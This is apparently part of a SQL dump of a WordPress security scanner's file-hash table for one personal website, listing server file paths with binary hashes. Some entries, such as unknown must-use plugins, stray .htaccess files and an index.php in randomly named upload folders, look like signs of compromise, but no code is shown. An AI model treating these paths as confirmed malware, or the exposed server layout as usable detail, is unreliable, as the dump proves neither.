('3\"(za48','wp-includes/images/media/code.png','/home/trevorkl/trevorklee.com/wp-includes/images/media/code.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-oUʓUU_','\'eM a[R#q2kz+*<7\0j','',0,'?'),
('V?p|wV3','wp-content/mu-plugins/rootseo-links-v5.php','/home/trevorkl/trevorklee.com/wp-content/mu-plugins/rootseo-links-v5.php',0,'*Mk\"f9 #Y','*Mk\"f9 #Y','5fh>dȒB/\'/CZMW','',0,'?'),
('m{@m','wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmEU9fChc-AMP6lbBP.woff','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/roboto-KFOlCnqEu92Fr1MmEU9fChc-AMP6lbBP.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oLFʒ4i--','Cc#1_|Z  1ɾYx','',0,'?'),
('W)򯮷3;','wp-content/plugins/wordfence/views/scanner/text/issue-database.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-database.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u?%F','J!4B<ji95ͿN2nec','',0,'?'),
('<xno6D','wp-content/themes/twentytwentyone/assets/sass/05-blocks/query-loop/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/query-loop/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~o L6','HvO#^[f8: M3M','',0,'?'),
('<zo=rf','wp-includes/class-wp-duotone.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-duotone.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':6:\r[6ʗ1','_\'2۾n5(^AfI6','',0,'?'),
('~QԁŴFp','wp-includes/class-wp-taxonomy.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-taxonomy.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=O*XS]__]','|OiеwD6P>yw̊s(','',0,'?'),
('@뵰On','wp-includes/blocks/html/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/html/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z1,8y}ÑH','z9=25G14?Z-NA','',0,'?'),
('+YȒXC@','wp-includes/css/wp-block-template-skip-link-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-block-template-skip-link-rtl.css',0,'-J<=ۼGм{;','-J<=ۼGм{;','E|;e;̩w\'e?K;q8_n','',0,'?'),
('Q^/꩛','wp-content/mu-plugins/wp-db-monitor.php','/home/trevorkl/trevorklee.com/wp-content/mu-plugins/wp-db-monitor.php',0,'C×^f](Ȁ','C×^f](Ȁ','T\"8ֿsCI;w +\'6͐\r','',0,'?'),
('kHm1`0ѹ_','wp-content/plugins/wordfence/lib/wordfenceConstants.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wordfenceConstants.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ME%(1·d=','jPwS`w\\5}\\g','',0,'?'),
('zݿ&X❙6s','wp-admin/css/media-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/media-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@.\'w+o>!','6 W@ߴގ}5䑇C0','',0,'?'),
('|}mxg&;eS7','wp-content/plugins/wordfence/views/unsupported-wp/admin-message.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/unsupported-wp/admin-message.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u8l:K','yn$訌b?+{%	n@t','',0,'?'),
('j{=','wp-includes/SimplePie/src/Credit.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Credit.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>f\0\nB\Z','j^(,#euYR7CC8ӯO','',0,'?'),
('!yF]','wp-admin/includes/class-wp-ajax-upgrader-skin.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-ajax-upgrader-skin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','uŪ֘z$B','U<zV|T	wUzn3hvAS{','',0,'?'),
('\n (z','wp-includes/PHPMailer/Exception.php','/home/trevorkl/trevorklee.com/wp-includes/PHPMailer/Exception.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1WJ4:x','	SMZ]y[]48pvS|/{.b','',0,'?'),
('u@Lr\r7','wp-includes/Text/Diff/Engine/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Engine/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('&GN*E\rVo','wp-includes/blocks/legacy-widget/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/legacy-widget/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ٵ\nhJxdvԃ]','wp-content/plugins/wordfence/lib/wf503.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wf503.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','RB]VU','Zԕ#Tzoϴ,3ۅ kJv','',0,'?'),
('^|Jʕ\Z%\"b','wp-content/themes/twentytwentyone/assets/sass/05-blocks/legacy/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/legacy/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','i^e]M@','~\nf)Z?\"zI\\N乍','',0,'?'),
('$TX@#A','wp-admin/js/widgets/text-widgets.js','/home/trevorkl/trevorklee.com/wp-admin/js/widgets/text-widgets.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z÷C6ؠ+','>X7T\Z&~27Z=JÜ-','',0,'?'),
('2zs4xEB','wp-includes/ID3/module.tag.id3v1.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.tag.id3v1.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\":0J6(`',':?Eͅff^/UC9R2/','',0,'?'),
('Obc\" |J(','wp-includes/images/smilies/icon_evil.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_evil.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^M>z','Q|x>@VЛ_/\"W%S','',0,'?'),
('e7F%','wp-includes/blocks/post-title/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-title/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8XpW\rw2','{):m{^S?j\n8xJB\n~)Q4}c','',0,'?'),
('S\\Ɣ}','wp-content/plugins/wordfence/modules/login-security/views/passkey/active.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/active.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','uI%vN(Z','J+0C\\u`IrC3Ue.','',0,'?'),
('1WV(26','wp-admin/images/icons32.png','/home/trevorkl/trevorklee.com/wp-admin/images/icons32.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','۬[m9J4\Z','DkCdi|a|+\rx̌','',0,'?'),
('5uuȸ8PҺ','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-link.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-link.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U60UfS','6-s`0eـa^=	QCGk','',0,'?'),
('6M͓)̻','wp-includes/blocks/text-columns/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/text-columns/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I\'|=8','N@HK09L*|','',0,'?'),
('6Y̧&_4','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!s`d#Bڜ','jdwy&c?ct؈*r|Df','',0,'?'),
('6}X,hhof','wp-includes/blocks/site-logo/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-logo/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('=}LsQ\n`q&','wp-includes/sodium_compat/src/Core32/Curve25519/Ge/Cached.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/Cached.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[M/*E<sWRG','\n\\Xΰ֨PA\nXj\';q{a','',0,'?'),
('>ƀ脴o\\iD','wp-content/themes/twentytwentyfour/templates/page-no-title.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/page-no-title.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C`ۯ!2i$','^4.9,чʂGR:	K','',0,'?'),
('O,-','wp-content/plugins/wordfence/views/scanner/text/issue-checkGSB.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-checkGSB.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^ȭ\0<\rq','36mXy:=3@-r)X?\".','',0,'?'),
('Otg\02\\B','wp-includes/assets/script-loader-packages.php','/home/trevorkl/trevorklee.com/wp-includes/assets/script-loader-packages.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?r1>G>$','?\Zu\0QQ\Z@QqwD\\./3uӂ','',0,'?'),
(']숊YTXm+%','wp-includes/js/dist/vendor/moment.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/moment.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4A.UW7abr{','OhGu]݊xXOana6J','',0,'?'),
('i9$:Ӟl{','wp-includes/theme-previews.php','/home/trevorkl/trevorklee.com/wp-includes/theme-previews.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dnkA,f~QI','2v]w\n+fpԐfm[c\"raU,=','',0,'?'),
('jUUX\Z/J/','wp-admin/includes/class-core-upgrader.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-core-upgrader.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w<s(\'e7B','\\KDWSf\\OCj','',0,'?'),
('gزh/ḮON','wp-includes/class-wp-block-type.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-type.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r[S3?pnDN','-^4j9bid3M{-obU_^','',0,'?'),
('ġ!\Z','wp-includes/blocks/categories/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/categories/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','PŚE#Iۆཀ','=O-;N8UP3<(oن','',0,'?'),
('%jg2','wp-includes/css/dist/admin-ui/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/admin-ui/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('²78','wp-includes/abilities-api/class-wp-ability-category.php','/home/trevorkl/trevorklee.com/wp-includes/abilities-api/class-wp-ability-category.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A+\nrj*',')&\ZL=vVAk~Xk$ȭ7TW','',0,'?'),
('1|}dQ','wp-admin/export.php','/home/trevorkl/trevorklee.com/wp-admin/export.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' Fk=-y','g_NU,ŞRCW_(M','',0,'?'),
('S,bJ^MOg','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yqZk#K)*','i<Z-HN_&)zK+0N{','',0,'?'),
('	1А々S:(','wp-includes/js/thickbox/loadingAnimation.gif','/home/trevorkl/trevorklee.com/wp-includes/js/thickbox/loadingAnimation.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"h\rc&','BF`F-lڛRT6Յ','',0,'?'),
('\rW$2lv9{ܭ:','wp-includes/blocks/post-title/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-title/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E9ʢ.`BP','bXjLX@so9E\r{;mF','',0,'?'),
('w:k@DiWQ','wp-content/plugins/wordfence/lib/wfModuleController.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfModuleController.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oIƷkb','7.ݰ̿UL>\"TM5]>','',0,'?'),
('_WS޲$','wp-includes/js/dist/edit-site.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/edit-site.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ؑ6Uq[f\r','1#lgA\ZڟJdPJ\' &Ś','',0,'?'),
('#\"ԘA:.','wp-includes/Requests/src/Transport/Curl.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Transport/Curl.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pay','=FWeS>\\+sR$@','',0,'?'),
('/0WfĦ','wp-includes/images/media/video.svg','/home/trevorkl/trevorklee.com/wp-includes/images/media/video.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';{q\'El',')8uG\\LbEDI','',0,'?'),
('0u=`Ue?','wp-includes/SimplePie/src/Enclosure.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Enclosure.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[̕{:ph','WDMmRAo\\q7wB\r)','',0,'?'),
('>1l2\rZ*','wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('J\nVl/ל{','wp-includes/blocks/post-time-to-read/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-time-to-read/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5gY揺','܇Um)FԹ Ra!~!0*','',0,'?'),
('T!ة7l<','wp-includes/js/codemirror/htmlhint-kses.js','/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/htmlhint-kses.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[k[#cLf{','N&V\ZA/R#~բ_J*Ї','',0,'?'),
('_jSX2QQ=','wp-includes/ms-load.php','/home/trevorkl/trevorklee.com/wp-includes/ms-load.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UKtOCC\"','<9>>nY\Z\'J<ͼ2RP\\(','',0,'?'),
('`~|D%EHwO','wp-includes/sodium_compat/src/File.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/File.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S#OR՗hra','4Dj{xCd\'[u\0RK','',0,'?'),
('ÂuJM/ wy','wp-includes/sodium_compat/lib/php72compat_const.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/lib/php72compat_const.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p{[˔	','9oGfpmeG#`:Q{`','',0,'?'),
('ÕuU[,IY','wp-includes/Requests/src/Exception/Transport/Curl.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Transport/Curl.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ТR1UUQ','q]t(Jj\r#9o\0Ⱦ','',0,'?'),
('ä3*aS!kj\Z','wp-content/themes/twentytwentyfive/patterns/page-shop-home.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-shop-home.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','óD8KWN','an31)-jԱ\0}ϰs*\"I','',0,'?'),
('ä]0`AS:D','wp-includes/js/dist/blob.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/blob.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VKq]}eSɭ','Z/9y}Lm','',0,'?'),
('ýP7&ݣ`)','wp-includes/sodium_compat/autoload.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/autoload.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#8i=]_n{U','gxlv#Ɉ9Ug\'','',0,'?'),
('N:]y\nϱ','wp-includes/blocks/search/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/view.min.asset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d:Qj','6Fn[L\0!mm9m#k','',0,'?'),
('tnRؔ%^','wp-admin/images/align-right.png','/home/trevorkl/trevorklee.com/wp-admin/images/align-right.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','BOe#l@:P+\"v','ɳC?=&UyZ31!<c','',0,'?'),
('5V\"$$_','wp-admin/includes/post.php','/home/trevorkl/trevorklee.com/wp-admin/includes/post.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ߍ~؍A','C{bF%P6b7q)`','',0,'?'),
('4l!r؄','wp-includes/class-wp-block-type-registry.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-type-registry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Qw;LUp','~ofqJ^\r3>k*x?Vyn5','',0,'?'),
('efzeox','wp-content/themes/twentytwentyone/package-lock.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/package-lock.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&(W]I履D','=Z\\Z%[G_ě','',0,'?'),
('iY\0\nR)','wp-includes/post-thumbnail-template.php','/home/trevorkl/trevorklee.com/wp-includes/post-thumbnail-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#ݪR\"gC','hj[h湉.EHS:fpީ̫','',0,'?'),
('uXݼ#-','wp-includes/class-wp-http-ixr-client.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-http-ixr-client.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':#s\r',']MF-0a;#-VCD','',0,'?'),
('| 7Ɍ,V','wp-includes/l10n/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/l10n/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\0UaS','wp-includes/widgets/class-wp-widget-block.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-block.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','gGP\'#Dax\\','|XKeQLK[u\0@R','',0,'?'),
('cᘣrw','wp-includes/blocks/file/view.js','/home/trevorkl/trevorklee.com/wp-includes/blocks/file/view.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ጚHf I','yeJTGЈVK9рkԜ','',0,'?'),
('8d$nxyŚ','wp-includes/blocks/navigation-submenu/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-submenu/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#r\rl\0{@/','Su/{R\\e-xFh!E','',0,'?'),
('5Ĩ)0X\'','wp-admin/widgets-form-blocks.php','/home/trevorkl/trevorklee.com/wp-admin/widgets-form-blocks.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[g?_','\\/(`u,\r{i\rHg4','',0,'?'),
('!N`R{}9','wp-content/themes/twentytwentyfour/patterns/page-home-portfolio.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-home-portfolio.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rjy','못4|*Tn%Eʯ?qN','',0,'?'),
('&)N~&','wp-content/themes/twentytwentyone/screenshot.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/screenshot.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*ّ^R	','\Zu@\'\\KL82Br\Z2HCo','',0,'?'),
('V{\"MJ&','wp-includes/sodium_compat/src/Core/AEGIS/State256.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AEGIS/State256.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<AB5\0','==|nړvFk_[_O','',0,'?'),
('Zh>PN}An7f','wp-includes/js/dist/script-modules/block-library/tabs/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/tabs/view.min.asset.php',0,'e\"	r*.<p2','e\"	r*.<p2','>LT?m27YE@H','',0,'?'),
('`,}D@','wp-includes/class-wp-recovery-mode.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-recovery-mode.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZYHtz{\'','PKHa_:Y&W;#Ì','',0,'?'),
('pȬES0K','wp-includes/blocks/search/theme.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/theme.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O1f43Ѽ_0','}+{Ȗ19D\0W0S(\0sj(%%p','',0,'?'),
('vV/W{}!^N','wp-includes/blocks/html/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/html/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&FR~R	','k\"D?W2eIuD8<3G','',0,'?'),
('~;$(pXz','wp-includes/blocks/comments/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$н?(bKd2','n\Zz293S','',0,'?'),
('Ĉ^A+lod','wp-includes/js/tinymce/skins/wordpress/images/audio.png','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/audio.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7~!\0\"w','gz.gV:[ЙH)Ȟ','',0,'?'),
('ĔԼpPZ	H','wp-includes/images/smilies/icon_cry.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_cry.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E\ZECsx','vewIHea-c','',0,'?'),
('ěw+qAZ','wp-includes/blocks/group/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/group/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hʬHkx','٠XD/5\00\0DlNhew','',0,'?'),
('ĥdIxh','wp-content/themes/twentytwentyfour/screenshot.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/screenshot.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʑ9m#L|','I+kG*ЮƖC>A.~@^Լ','',0,'?'),
('ĦSNLh`','wp-content/themes/twentytwentyone/assets/sass/05-blocks/navigation/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/navigation/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4ĊK$&=^','AU:·1kqHvr3M','',0,'?'),
('İ诅3ԓjm','wp-includes/blocks/embed/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ĳJ\n`|5,HT','wp-admin/includes/admin-filters.php','/home/trevorkl/trevorklee.com/wp-admin/includes/admin-filters.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z+{}PkFt`','J\nWZ>o7߭\\tQֽMՖL','',0,'?'),
('ĶƖoèf{U','wp-includes/js/jquery/ui/effect-highlight.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-highlight.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nBs>=}[+C','	{Nm9CTO/kK0w','',0,'?'),
('eN-@1\Z','wp-includes/blocks/legacy-widget/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/legacy-widget/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Gtnr*a','>!OjeE\"~9*503','',0,'?'),
('Ѻɩuy}','wp-includes/sodium_compat/src/Core/Salsa20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Salsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b5lJ#v','c=0-#-TSX&4\0K8\r','',0,'?'),
('ʙ\0}甠K.','wp-includes/js/jquery/jquery.color.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery.color.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{)7wF','.R\'1taf*t.rtv\'b','',0,'?'),
('Єj[\'P`y','wp-includes/css/dist/block-editor/default-editor-styles-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-editor/default-editor-styles-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b\ZTw_b','HUw؃n׭AÑe','',0,'?'),
('Z_\\ղ\ns','wp-includes/blocks/missing/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/missing/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('{Amm*K','wp-includes/nav-menu-template.php','/home/trevorkl/trevorklee.com/wp-includes/nav-menu-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w<^Cm.\r`',']d@\"\r5檢[','',0,'?'),
('us_ъǖTj','wp-content/uploads/gaqpdcf/avwisqn/mjws1fu/index.php','/home/trevorkl/trevorklee.com/wp-content/uploads/gaqpdcf/avwisqn/mjws1fu/index.php',0,'Upg|C\"g(','Upg|C\"g(','f[m]xNӀC1kvJ$\\','',0,'?'),
('/҅e\\FK','wp-content/plugins/loginizer/assets/images/twitter.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/twitter.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ckzP}}','zÝ@51cظ;o\r/V.\'疰','',0,'?'),
('Kސi6m','wp-includes/js/tinymce/themes/inlite/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/themes/inlite/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('V݀^W4-zX','wp-content/themes/twentytwentyone/assets/sass/01-settings/fonts.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/01-settings/fonts.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fqagDi\"','-u|5CD`磩QrG)&','',0,'?'),
('XMcYhU4{','wp-includes/sodium_compat/src/Core/Curve25519/Ge/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/Ge/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('_npaV','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/HChaCha20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/HChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>*L1˵\"k%F+','ZiMfUvi-})f\"Mnd?X','',0,'?'),
('`#GbC֊','wp-includes/js/swfupload/handlers.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/swfupload/handlers.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('xeju','wp-includes/css/dist/edit-widgets/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-widgets/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','BC$hT}i','(4pnd}?-1^ \ZT','',0,'?'),
('łjDߋ.˖D','wp-admin/css/forms.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/forms.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%	RC$q','~Nڮq7u	\"\\	i]Vm.Ҙf','',0,'?'),
('ņԡyiD1','wp-includes/blocks/embed/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rz8F|Oے#^','\'	=c; >fs>x(O\'^','',0,'?'),
('Ő5]dxv:','wp-includes/blocks/pullquote/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/pullquote/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N)$tO2','O|1UAg\\\r:Jj/L[E','',0,'?'),
